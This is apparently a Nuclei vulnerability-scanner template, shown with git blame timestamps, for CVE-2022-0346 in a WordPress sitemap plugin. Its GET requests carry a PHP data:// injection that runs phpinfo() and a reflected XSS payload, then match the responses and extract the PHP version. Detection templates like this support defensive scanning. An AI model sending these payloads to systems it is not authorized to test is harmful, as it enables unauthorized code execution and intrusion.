nuclei-templates/cves/2022/CVE-2022-0346.yaml

51 lines
1.8 KiB
YAML
Raw Normal View History

2022-05-19 17:59:08 +00:00
id: CVE-2022-0346
info:
name: WordPress XML Sitemap Generator for Google <2.0.4 - Cross-Site Scripting
2022-05-19 17:59:08 +00:00
author: Akincibor
severity: medium
2022-05-19 18:07:56 +00:00
description: |
WordPress XML Sitemap Generator for Google plugin before 2.0.4 contains a vulnerability that can lead to cross-site scripting or remote code execution. It does not validate a parameter which can be set to an arbitrary value, thus causing cross-site scripting via error message or remote code execution if allow_url_include is turned on.
2022-05-19 17:59:08 +00:00
reference:
- https://wpscan.com/vulnerability/4b339390-d71a-44e0-8682-51a12bd2bfe6
2022-05-19 18:07:56 +00:00
- https://wordpress.org/plugins/www-xml-sitemap-generator-org/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0346
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-0346
cwe-id: CWE-79
2022-05-19 18:07:56 +00:00
metadata:
verified: "true"
2022-08-29 17:23:18 +00:00
tags: cve,cve2022,xss,wp,wordpress,wp-plugin,wpscan
2022-05-19 17:59:08 +00:00
requests:
- method: GET
path:
- '{{BaseURL}}/?p=1&xsg-provider=data://text/html,%3C?php%20phpinfo();%20//&xsg-format=yyy&xsg-type=zz&xsg-page=pp'
2022-05-19 18:07:56 +00:00
- '{{BaseURL}}/?p=1&xsg-provider=%3Cimg%20src%20onerror=alert(document.domain)%3E&xsg-format=yyy&xsg-type=zz&xsg-page=pp'
2022-05-19 17:59:08 +00:00
2022-08-29 17:23:18 +00:00
stop-at-first-match: true
2022-05-19 18:07:56 +00:00
req-condition: true
2022-05-19 17:59:08 +00:00
matchers-condition: and
matchers:
2022-05-19 18:07:56 +00:00
- type: dsl
dsl:
- "contains(body_1, 'PHP Extension') || contains(body_1, 'PHP Version')"
2022-08-30 06:02:32 +00:00
- "status_code==200 && contains(body_2, '<img src onerror=alert(document.domain)>') && contains(body_2, ' type specified')"
2022-05-19 17:59:08 +00:00
condition: or
- type: word
part: header
words:
- text/html
extractors:
- type: regex
part: body
group: 1
regex:
- '>PHP Version <\/td><td class="v">([0-9.]+)'
# Enhanced by md on 2022/09/08